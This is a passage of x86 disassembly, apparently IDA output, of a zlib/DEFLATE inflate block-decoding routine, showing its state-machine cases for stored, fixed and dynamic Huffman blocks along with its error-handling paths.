loc_4DBC8B:				; CODE XREF: sub_4DBC4B+ADj
					; sub_4DBC4B+10Bj ...
		mov	eax, [ebx]
		cmp	eax, 9		; switch 10 cases
		ja	loc_4DC550	; default
		jmp	ds:off_4DC588[eax*4] ; switch jump


loc_4DBC9D:				; DATA XREF: _4:off_4DC588o
		mov	edi, [ebp+var_4] ; jumptable 004DBC96 case 0
		mov	esi, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		cmp	edi, 3
		jnb	short loc_4DBCD7


loc_4DBCAB:				; CODE XREF: sub_4DBC4B+8Aj
		cmp	[ebp+var_8], 0
		jz	loc_4DC28C
		movzx	eax, byte ptr [edx]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		mov	ecx, edi
		add	edi, 8
		shl	eax, cl
		mov	[ebp+var_4], edi
		or	esi, eax
		inc	edx
		cmp	edi, 3
		mov	[ebp+arg_0], esi
		mov	[ebp+var_10], edx
		jb	short loc_4DBCAB


loc_4DBCD7:				; CODE XREF: sub_4DBC4B+5Ej
		mov	eax, esi
		and	eax, 7
		mov	ecx, eax
		shr	eax, 1
		and	ecx, 1
		sub	eax, 0
		mov	[ebx+18h], ecx
		jz	short loc_4DBD5B
		dec	eax
		jz	short loc_4DBD0D
		dec	eax
		jz	short loc_4DBCFA
		dec	eax
		jz	loc_4DC2A7
		jmp	short loc_4DBC8B
; ---------------------------------------------------------------------------


loc_4DBCFA:				; CODE XREF: sub_4DBC4B+A4j
		push	3
		pop	eax
		shr	esi, 3
		sub	edi, eax
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], edi
		jmp	loc_4DBDE7
; ---------------------------------------------------------------------------


loc_4DBD0D:				; CODE XREF: sub_4DBC4B+A1j
		mov	edi, [ebp+arg_4]
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4DD8AF
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_20]
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_4DC5E6
		add	esp, 28h
		mov	[ebx+4], eax
		test	eax, eax
		jz	loc_4DC2D7
		shr	esi, 3
		sub	[ebp+var_4], 3
		mov	[ebp+arg_0], esi
		mov	dword ptr [ebx], 6
		jmp	loc_4DBC8B
; ---------------------------------------------------------------------------


loc_4DBD5B:				; CODE XREF: sub_4DBC4B+9Ej
		sub	edi, 3
		mov	dword ptr [ebx], 1
		mov	ecx, edi
		and	ecx, 7
		shr	esi, 3
		shr	esi, cl
		sub	edi, ecx
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], esi
		jmp	loc_4DBC8B
; ---------------------------------------------------------------------------


loc_4DBD7B:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		mov	ecx, [ebp+var_4] ; jumptable 004DBC96 case 1
		mov	esi, [ebp+arg_0]
		cmp	ecx, 20h
		jnb	short loc_4DBDAF
		mov	edx, [ebp+var_10]
		xor	edi, edi


loc_4DBD8B:				; CODE XREF: sub_4DBC4B+160j
		cmp	[ebp+var_8], edi
		jz	loc_4DC300
		movzx	eax, byte ptr [edx]
		dec	[ebp+var_8]
		mov	[ebp+arg_8], edi
		shl	eax, cl
		add	ecx, 8
		or	esi, eax
		inc	edx
		cmp	ecx, 20h
		mov	[ebp+var_10], edx
		jb	short loc_4DBD8B
		jmp	short loc_4DBDB2
; ---------------------------------------------------------------------------


loc_4DBDAF:				; CODE XREF: sub_4DBC4B+139j
		mov	edx, [ebp+var_10]


loc_4DBDB2:				; CODE XREF: sub_4DBC4B+162j
		mov	edi, esi
		mov	eax, esi
		not	edi
		and	eax, 0FFFFh
		shr	edi, 10h
		xor	edi, eax
		jnz	loc_4DC30E
		mov	[ebx+4], eax
		xor	eax, eax
		cmp	[ebx+4], eax
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], eax
		jz	short loc_4DBDDD
		push	2
		pop	eax
		jmp	short loc_4DBDE7
; ---------------------------------------------------------------------------


loc_4DBDDD:				; CODE XREF: sub_4DBC4B+18Bj
					; sub_4DBC4B+288j
		mov	eax, [ebx+18h]
		neg	eax
		sbb	eax, eax
		and	eax, 7


loc_4DBDE7:				; CODE XREF: sub_4DBC4B+BDj
					; sub_4DBC4B+190j
		mov	[ebx], eax
		jmp	loc_4DBC8B
; ---------------------------------------------------------------------------


loc_4DBDEE:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		cmp	[ebp+var_8], 0	; jumptable 004DBC96 case 2
		jz	loc_4DC326
		mov	ecx, [ebp+var_14]
		test	ecx, ecx
		jnz	loc_4DBE93
		mov	ecx, [ebx+2Ch]
		mov	edx, [ebp+var_C]
		cmp	edx, ecx
		jnz	short loc_4DBE30
		mov	eax, [ebx+30h]
		mov	esi, [ebx+28h]
		cmp	eax, esi
		jz	short loc_4DBE30
		mov	edx, esi
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_4DBE27
		sub	eax, edx
		dec	eax
		mov	ecx, eax
		jmp	short loc_4DBE29
; ---------------------------------------------------------------------------


loc_4DBE27:				; CODE XREF: sub_4DBC4B+1D3j
		sub	ecx, edx


loc_4DBE29:				; CODE XREF: sub_4DBC4B+1DAj
		test	ecx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_4DBE93


loc_4DBE30:				; CODE XREF: sub_4DBC4B+1C0j
					; sub_4DBC4B+1CAj
		push	[ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	[ebx+34h], edx
		push	esi
		push	ebx
		call	sub_4DD8DE
		mov	edx, [ebx+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [ebx+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_4DBE5A
		mov	ecx, eax
		sub	ecx, edx
		dec	ecx
		jmp	short loc_4DBE5F
; ---------------------------------------------------------------------------


loc_4DBE5A:				; CODE XREF: sub_4DBC4B+206j
		mov	ecx, [ebx+2Ch]
		sub	ecx, edx


loc_4DBE5F:				; CODE XREF: sub_4DBC4B+20Dj
		mov	edi, [ebx+2Ch]
		mov	[ebp+var_14], ecx
		cmp	edx, edi
		mov	[ebp+var_18], edi
		jnz	short loc_4DBE8B
		mov	edi, [ebx+28h]
		cmp	eax, edi
		jz	short loc_4DBE8B
		mov	edx, edi
		cmp	edx, eax
		mov	[ebp+var_C], edx
		jnb	short loc_4DBE83
		sub	eax, edx
		dec	eax
		mov	ecx, eax
		jmp	short loc_4DBE88
; ---------------------------------------------------------------------------


loc_4DBE83:				; CODE XREF: sub_4DBC4B+22Fj
		mov	ecx, [ebp+var_18]
		sub	ecx, edx


loc_4DBE88:				; CODE XREF: sub_4DBC4B+236j
		mov	[ebp+var_14], ecx


loc_4DBE8B:				; CODE XREF: sub_4DBC4B+21Fj
					; sub_4DBC4B+226j
		test	ecx, ecx
		jz	loc_4DC347


loc_4DBE93:				; CODE XREF: sub_4DBC4B+1B2j
					; sub_4DBC4B+1E3j
		mov	eax, [ebx+4]
		and	[ebp+arg_8], 0
		cmp	eax, [ebp+var_8]
		jbe	short loc_4DBEA2
		mov	eax, [ebp+var_8]


loc_4DBEA2:				; CODE XREF: sub_4DBC4B+252j
		cmp	eax, ecx
		jbe	short loc_4DBEA8
		mov	eax, ecx


loc_4DBEA8:				; CODE XREF: sub_4DBC4B+259j
		mov	esi, [ebp+var_10]
		mov	edi, [ebp+var_C]
		mov	ecx, eax
		add	[ebp+var_10], eax
		mov	edx, ecx
		sub	[ebp+var_8], eax
		shr	ecx, 2
		rep movsd
		add	[ebp+var_C], eax
		sub	[ebp+var_14], eax
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		sub	[ebx+4], eax
		jnz	loc_4DBC8B
		jmp	loc_4DBDDD
; ---------------------------------------------------------------------------


loc_4DBED8:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		mov	ecx, [ebp+var_4] ; jumptable 004DBC96 case 3
		mov	edi, [ebp+var_10]
		cmp	ecx, 0Eh
		jnb	short loc_4DBF08


loc_4DBEE3:				; CODE XREF: sub_4DBC4B+2BBj
		cmp	[ebp+var_8], 0
		jz	loc_4DC370
		movzx	eax, byte ptr [edi]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	eax, cl
		add	ecx, 8
		mov	[ebp+var_4], ecx
		or	[ebp+arg_0], eax
		inc	edi
		cmp	ecx, 0Eh
		jb	short loc_4DBEE3


loc_4DBF08:				; CODE XREF: sub_4DBC4B+296j
		mov	eax, [ebp+arg_0]
		and	eax, 3FFFh
		mov	ecx, eax
		mov	[ebx+4], eax
		and	ecx, 1Fh
		cmp	ecx, 1Dh
		ja	loc_4DC3C2
		mov	edx, eax
		and	edx, 3E0h
		cmp	edx, 3A0h
		ja	loc_4DC3C2
		mov	esi, [ebp+arg_4]
		push	4
		shr	eax, 5
		and	eax, 1Fh
		lea	eax, [eax+ecx+102h]
		push	eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+20h]
		add	esp, 0Ch
		mov	[ebx+0Ch], eax
		test	eax, eax
		jz	loc_4DC39A
		shr	[ebp+arg_0], 0Eh
		sub	[ebp+var_4], 0Eh
		and	dword ptr [ebx+8], 0
		mov	dword ptr [ebx], 4
		jmp	short loc_4DBF76
; ---------------------------------------------------------------------------


loc_4DBF70:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		mov	edi, [ebp+var_10] ; jumptable 004DBC96 case 4
		mov	esi, [ebp+arg_4]


loc_4DBF76:				; CODE XREF: sub_4DBC4B+323j
		mov	eax, [ebx+4]
		shr	eax, 0Ah
		add	eax, 4
		cmp	[ebx+8], eax
		jnb	short loc_4DBFDF


loc_4DBF84:				; CODE XREF: sub_4DBC4B+392j
		mov	ecx, [ebp+var_4]


loc_4DBF87:				; CODE XREF: sub_4DBC4B+361j
		cmp	ecx, 3
		jnb	short loc_4DBFAE
		cmp	[ebp+var_8], 0
		jz	loc_4DC432
		movzx	eax, byte ptr [edi]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	eax, cl
		or	[ebp+arg_0], eax
		inc	edi
		add	ecx, 8
		mov	[ebp+var_4], ecx
		jmp	short loc_4DBF87
; ---------------------------------------------------------------------------


loc_4DBFAE:				; CODE XREF: sub_4DBC4B+33Fj
		mov	ecx, [ebx+8]
		mov	eax, [ebp+arg_0]
		mov	edx, [ebx+0Ch]
		and	eax, 7
		mov	ecx, ds:dword_4DE060[ecx*4]
		sub	[ebp+var_4], 3
		shr	[ebp+arg_0], 3
		mov	[edx+ecx*4], eax
		mov	ecx, [ebx+4]
		inc	dword ptr [ebx+8]
		mov	eax, [ebx+8]
		shr	ecx, 0Ah
		add	ecx, 4
		cmp	eax, ecx
		jb	short loc_4DBF84


loc_4DBFDF:				; CODE XREF: sub_4DBC4B+337j
					; sub_4DBC4B+3AEj
		cmp	dword ptr [ebx+8], 13h
		jnb	short loc_4DBFFB
		mov	eax, [ebx+8]
		mov	ecx, [ebx+0Ch]
		mov	eax, ds:dword_4DE060[eax*4]
		and	dword ptr [ecx+eax*4], 0
		inc	dword ptr [ebx+8]
		jmp	short loc_4DBFDF
; ---------------------------------------------------------------------------


loc_4DBFFB:				; CODE XREF: sub_4DBC4B+398j
		push	esi
		lea	ecx, [ebx+14h]
		push	dword ptr [ebx+24h]
		lea	eax, [ebx+10h]
		push	ecx
		push	eax
		push	dword ptr [ebx+0Ch]
		mov	dword ptr [eax], 7
		call	sub_4DD3A6
		add	esp, 14h
		mov	[ebp+var_14], eax
		test	eax, eax
		jnz	loc_4DC3F2
		and	[ebx+8], eax
		mov	dword ptr [ebx], 5
		jmp	short loc_4DC034
; ---------------------------------------------------------------------------


loc_4DC02E:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		mov	edi, [ebp+var_10] ; jumptable 004DBC96 case 5
		mov	esi, [ebp+arg_4]


loc_4DC034:				; CODE XREF: sub_4DBC4B+3E1j
					; sub_4DBC4B+46Bj ...
		mov	eax, [ebx+4]
		mov	ecx, [ebx+8]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		cmp	ecx, eax
		jnb	loc_4DC178
		mov	eax, [ebx+10h]


loc_4DC057:				; CODE XREF: sub_4DBC4B+432j
		cmp	[ebp+var_4], eax
		jnb	short loc_4DC07F
		cmp	[ebp+var_8], 0
		jz	loc_4DC432
		movzx	edx, byte ptr [edi]
		mov	ecx, [ebp+var_4]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	edx, cl
		or	[ebp+arg_0], edx
		inc	edi
		add	[ebp+var_4], 8
		jmp	short loc_4DC057
; ---------------------------------------------------------------------------


loc_4DC07F:				; CODE XREF: sub_4DBC4B+40Fj
		mov	eax, ds:dword_4E0318[eax*4]
		mov	ecx, [ebx+14h]
		and	eax, [ebp+arg_0]
		mov	edx, [ecx+eax*8+4]
		lea	eax, [ecx+eax*8]
		cmp	edx, 10h
		mov	[ebp+var_18], edx
		movzx	ecx, byte ptr [eax+1]
		mov	[ebp+var_14], ecx
		jnb	short loc_4DC0BB
		shr	[ebp+arg_0], cl
		mov	eax, ecx
		mov	ecx, [ebx+0Ch]
		sub	[ebp+var_4], eax
		mov	eax, [ebx+8]
		mov	[ecx+eax*4], edx
		inc	dword ptr [ebx+8]
		jmp	loc_4DC034
; ---------------------------------------------------------------------------


loc_4DC0BB:				; CODE XREF: sub_4DBC4B+455j
		cmp	edx, 12h
		jnz	short loc_4DC0C5
		push	7
		pop	eax
		jmp	short loc_4DC0C8
; ---------------------------------------------------------------------------


loc_4DC0C5:				; CODE XREF: sub_4DBC4B+473j
		lea	eax, [edx-0Eh]


loc_4DC0C8:				; CODE XREF: sub_4DBC4B+478j
		xor	ecx, ecx
		cmp	edx, 12h
		setnz	cl
		dec	ecx
		and	ecx, 8
		add	ecx, 3
		mov	[ebp+var_10], ecx


loc_4DC0DA:				; CODE XREF: sub_4DBC4B+4BBj
		mov	ecx, [ebp+var_14]
		lea	edx, [eax+ecx]
		cmp	[ebp+var_4], edx
		jnb	short loc_4DC108
		cmp	[ebp+var_8], 0
		jz	loc_4DC432
		movzx	edx, byte ptr [edi]
		mov	ecx, [ebp+var_4]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		shl	edx, cl
		or	[ebp+arg_0], edx
		inc	edi
		add	[ebp+var_4], 8
		jmp	short loc_4DC0DA
; ---------------------------------------------------------------------------


loc_4DC108:				; CODE XREF: sub_4DBC4B+498j
		shr	[ebp+arg_0], cl
		mov	ecx, ds:dword_4E0318[eax*4]
		and	ecx, [ebp+arg_0]
		add	[ebp+var_10], ecx
		mov	ecx, eax
		shr	[ebp+arg_0], cl
		mov	ecx, [ebp+var_14]
		add	eax, ecx
		mov	ecx, [ebx+8]
		sub	[ebp+var_4], eax
		mov	eax, [ebx+4]
		mov	edx, eax
		and	eax, 1Fh
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [edx+eax+102h]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		cmp	edx, eax
		ja	loc_4DC456
		cmp	[ebp+var_18], 10h
		jnz	short loc_4DC162
		cmp	ecx, 1
		jb	loc_4DC456
		mov	eax, [ebx+0Ch]
		mov	eax, [eax+ecx*4-4]
		jmp	short loc_4DC164
; ---------------------------------------------------------------------------


loc_4DC162:				; CODE XREF: sub_4DBC4B+503j
		xor	eax, eax


loc_4DC164:				; CODE XREF: sub_4DBC4B+515j
					; sub_4DBC4B+523j
		mov	edx, [ebx+0Ch]
		mov	[edx+ecx*4], eax
		inc	ecx
		dec	[ebp+var_10]
		jnz	short loc_4DC164
		mov	[ebx+8], ecx
		jmp	loc_4DC034
; ---------------------------------------------------------------------------


loc_4DC178:				; CODE XREF: sub_4DBC4B+403j
		push	esi
		lea	ecx, [ebp+var_2C]
		push	dword ptr [ebx+24h]
		mov	eax, [ebx+4]
		and	dword ptr [ebx+14h], 0
		mov	[ebp+var_18], 9
		push	ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		mov	ecx, eax
		push	dword ptr [ebx+0Ch]
		and	eax, 1Fh
		shr	ecx, 5
		and	ecx, 1Fh
		add	eax, 101h
		inc	ecx
		mov	[ebp+var_10], 6
		push	ecx
		push	eax
		call	sub_4DD7AC
		add	esp, 24h
		mov	[ebp+var_14], eax
		test	eax, eax
		jnz	loc_4DC49E
		push	esi
		push	[ebp+var_2C]
		push	[ebp+var_30]
		push	[ebp+var_10]
		push	[ebp+var_18]
		call	sub_4DC5E6
		add	esp, 14h
		test	eax, eax
		jz	loc_4DC39A
		push	dword ptr [ebx+0Ch]
		mov	[ebx+4], eax
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	dword ptr [ebx], 6
		pop	ecx
		jmp	short loc_4DC203
; ---------------------------------------------------------------------------


loc_4DC1FD:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		mov	edi, [ebp+var_10] ; jumptable 004DBC96 case 6
		mov	esi, [ebp+arg_4]


loc_4DC203:				; CODE XREF: sub_4DBC4B+5B0j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		push	esi
		mov	[esi], edi
		push	ebx
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		call	sub_4DC61A
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_4DC4EE
		and	[ebp+arg_8], 0
		push	esi
		push	dword ptr [ebx+4]
		call	sub_4DCBD8
		mov	eax, [esi+4]
		mov	edi, [esi]
		mov	[ebp+var_8], eax
		mov	eax, [ebx+20h]
		pop	ecx
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+1Ch]
		pop	ecx
		mov	ecx, [ebx+34h]
		mov	[ebp+var_4], eax
		mov	eax, [ebx+30h]
		mov	[ebp+var_10], edi
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jnb	short loc_4DC272
		sub	eax, ecx
		dec	eax
		jmp	short loc_4DC277
; ---------------------------------------------------------------------------


loc_4DC272:				; CODE XREF: sub_4DBC4B+620j
		mov	eax, [ebx+2Ch]
		sub	eax, ecx


loc_4DC277:				; CODE XREF: sub_4DBC4B+625j
		cmp	dword ptr [ebx+18h], 0
		mov	[ebp+var_14], eax
		jnz	loc_4DC4A7
		and	dword ptr [ebx], 0
		jmp	loc_4DBC8B
; ---------------------------------------------------------------------------


loc_4DC28C:				; CODE XREF: sub_4DBC4B+64j
		mov	eax, [ebp+arg_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], edi
		and	dword ptr [eax+4], 0


loc_4DC299:				; CODE XREF: sub_4DBC4B+6C1j
		mov	ecx, edx
		sub	ecx, [eax]
		mov	[eax], edx
		add	[eax+8], ecx
		jmp	loc_4DC38C
; ---------------------------------------------------------------------------


loc_4DC2A7:				; CODE XREF: sub_4DBC4B+A7j
		mov	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 9
		shr	esi, 3
		add	edi, 0FFFFFFFDh
		mov	dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], edi


loc_4DC2C3:				; CODE XREF: sub_4DBC4B+6D9j
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		mov	ecx, edx
		sub	ecx, [eax]
		mov	[eax], edx
		add	[eax+8], ecx
		jmp	loc_4DC546
; ---------------------------------------------------------------------------


loc_4DC2D7:				; CODE XREF: sub_4DBC4B+F5j
		mov	eax, [ebp+var_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[edi+4], eax
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		push	0FFFFFFFCh
		sub	ecx, [edi]
		mov	[edi], eax
		mov	eax, [ebp+var_C]
		push	edi
		add	[edi+8], ecx
		mov	[ebx+34h], eax
		jmp	loc_4DC57A
; ---------------------------------------------------------------------------


loc_4DC300:				; CODE XREF: sub_4DBC4B+143j
		mov	eax, [ebp+arg_4]
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], ecx
		mov	[eax+4], edi
		jmp	short loc_4DC299
; ---------------------------------------------------------------------------


loc_4DC30E:				; CODE XREF: sub_4DBC4B+177j
		mov	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 9
		mov	dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		mov	[ebx+20h], esi
		mov	[ebx+1Ch], ecx
		jmp	short loc_4DC2C3
; ---------------------------------------------------------------------------


loc_4DC326:				; CODE XREF: sub_4DBC4B+1A7j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_10]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		mov	edx, ecx
		sub	edx, [eax]
		and	dword ptr [eax+4], 0
		mov	[eax], ecx
		add	[eax+8], edx
		jmp	short loc_4DC38C
; ---------------------------------------------------------------------------


loc_4DC347:				; CODE XREF: sub_4DBC4B+242j
		mov	eax, [ebp+arg_0]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_10]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[ebx+34h], edx


loc_4DC368:				; CODE XREF: sub_4DBC4B+806j
		push	[ebp+arg_8]
		jmp	loc_4DC522
; ---------------------------------------------------------------------------


loc_4DC370:				; CODE XREF: sub_4DBC4B+29Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, edi
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		sub	ecx, [eax]
		and	dword ptr [eax+4], 0
		mov	[eax], edi
		add	[eax+8], ecx


loc_4DC38C:				; CODE XREF: sub_4DBC4B+657j
					; sub_4DBC4B+6FAj
		mov	ecx, [ebp+var_C]
		push	[ebp+arg_8]
		mov	[ebx+34h], ecx
		jmp	loc_4DC579
; ---------------------------------------------------------------------------


loc_4DC39A:				; CODE XREF: sub_4DBC4B+30Bj
					; sub_4DBC4B+596j
		mov	eax, [ebp+arg_0]
		push	0FFFFFFFCh
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_4DC522
; ---------------------------------------------------------------------------


loc_4DC3C2:				; CODE XREF: sub_4DBC4B+2D0j
					; sub_4DBC4B+2E4j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ebx], 9
		mov	dword ptr [eax+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		mov	[ebx+20h], ecx
		mov	ecx, [ebp+var_4]
		mov	[ebx+1Ch], ecx
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		mov	ecx, edi
		sub	ecx, [eax]
		mov	[eax], edi
		add	[eax+8], ecx
		jmp	loc_4DC546
; ---------------------------------------------------------------------------


loc_4DC3F2:				; CODE XREF: sub_4DBC4B+3D2j
		cmp	[ebp+var_14], 0FFFFFFFDh


loc_4DC3F6:				; CODE XREF: sub_4DBC4B+857j
		jnz	short loc_4DC409
		push	dword ptr [ebx+0Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		pop	ecx
		mov	dword ptr [ebx], 9
		pop	ecx


loc_4DC409:				; CODE XREF: sub_4DBC4B:loc_4DC3F6j
		mov	eax, [ebp+arg_0]
		push	[ebp+var_14]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_4DC522
; ---------------------------------------------------------------------------


loc_4DC432:				; CODE XREF: sub_4DBC4B+345j
					; sub_4DBC4B+415j ...
		mov	eax, [ebp+arg_0]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		and	dword ptr [esi+4], 0
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		jmp	loc_4DC368
; ---------------------------------------------------------------------------


loc_4DC456:				; CODE XREF: sub_4DBC4B+4F9j
					; sub_4DBC4B+508j
		push	dword ptr [ebx+0Ch]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat"
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		push	0FFFFFFFDh
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		push	esi
		mov	[esi], edi
		push	ebx
		add	[esi+8], eax
		mov	eax, [ebp+var_C]
		mov	[ebx+34h], eax
		call	sub_4DD8DE
		add	esp, 14h
		jmp	loc_4DC583
; ---------------------------------------------------------------------------


loc_4DC49E:				; CODE XREF: sub_4DBC4B+579j
		cmp	[ebp+var_14], 0FFFFFFFDh
		jmp	loc_4DC3F6
; ---------------------------------------------------------------------------


loc_4DC4A7:				; CODE XREF: sub_4DBC4B+633j
		mov	dword ptr [ebx], 7
		jmp	short loc_4DC4B8
; ---------------------------------------------------------------------------


loc_4DC4AF:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		mov	edi, [ebp+var_10] ; jumptable 004DBC96 case 7
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+var_C]


loc_4DC4B8:				; CODE XREF: sub_4DBC4B+862j
		push	[ebp+arg_8]
		mov	[ebx+34h], ecx
		push	esi
		push	ebx
		call	sub_4DD8DE
		mov	ecx, [ebx+34h]
		add	esp, 0Ch
		cmp	[ebx+30h], ecx
		jz	short loc_4DC4F1
		mov	edx, [ebp+arg_0]
		mov	[ebx+20h], edx
		mov	edx, [ebp+var_4]
		mov	[ebx+1Ch], edx
		mov	edx, [ebp+var_8]
		mov	[esi+4], edx
		mov	edx, edi
		sub	edx, [esi]
		mov	[esi], edi
		add	[esi+8], edx
		mov	[ebx+34h], ecx


loc_4DC4EE:				; CODE XREF: sub_4DBC4B+5E9j
		push	eax
		jmp	short loc_4DC522
; ---------------------------------------------------------------------------


loc_4DC4F1:				; CODE XREF: sub_4DBC4B+883j
		mov	dword ptr [ebx], 8
		jmp	short loc_4DC502
; ---------------------------------------------------------------------------


loc_4DC4F9:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		mov	edi, [ebp+var_10] ; jumptable 004DBC96 case 8
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+var_C]


loc_4DC502:				; CODE XREF: sub_4DBC4B+8ACj
		mov	eax, [ebp+arg_0]
		push	1
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, edi
		sub	eax, [esi]
		mov	[esi], edi
		add	[esi+8], eax
		mov	[ebx+34h], ecx


loc_4DC522:				; CODE XREF: sub_4DBC4B+720j
					; sub_4DBC4B+772j ...
		push	esi
		jmp	short loc_4DC57A
; ---------------------------------------------------------------------------


loc_4DC525:				; CODE XREF: sub_4DBC4B+4Bj
					; DATA XREF: _4:off_4DC588o
		mov	eax, [ebp+arg_0] ; jumptable 004DBC96 case 9
		mov	ecx, [ebp+var_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		mov	edx, ecx
		sub	edx, [eax]
		mov	[eax], ecx
		add	[eax+8], edx


loc_4DC546:				; CODE XREF: sub_4DBC4B+687j
					; sub_4DBC4B+7A2j
		mov	ecx, [ebp+var_C]
		push	0FFFFFFFDh
		mov	[ebx+34h], ecx
		jmp	short loc_4DC579
; ---------------------------------------------------------------------------


loc_4DC550:				; CODE XREF: sub_4DBC4B+45j
		mov	eax, [ebp+arg_0] ; default
		mov	ecx, [ebp+var_8]
		mov	[ebx+20h], eax
		mov	eax, [ebp+var_4]
		mov	[ebx+1Ch], eax
		mov	eax, [ebp+arg_4]
		push	0FFFFFFFEh
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		mov	edx, ecx
		sub	edx, [eax]
		mov	[eax], ecx
		mov	ecx, [ebp+var_C]
		add	[eax+8], edx
		mov	[ebx+34h], ecx


loc_4DC579:				; CODE XREF: sub_4DBC4B+74Aj
					; sub_4DBC4B+903j
		push	eax


loc_4DC57A:				; CODE XREF: sub_4DBC4B+6B0j
					; sub_4DBC4B+8D8j
		push	ebx
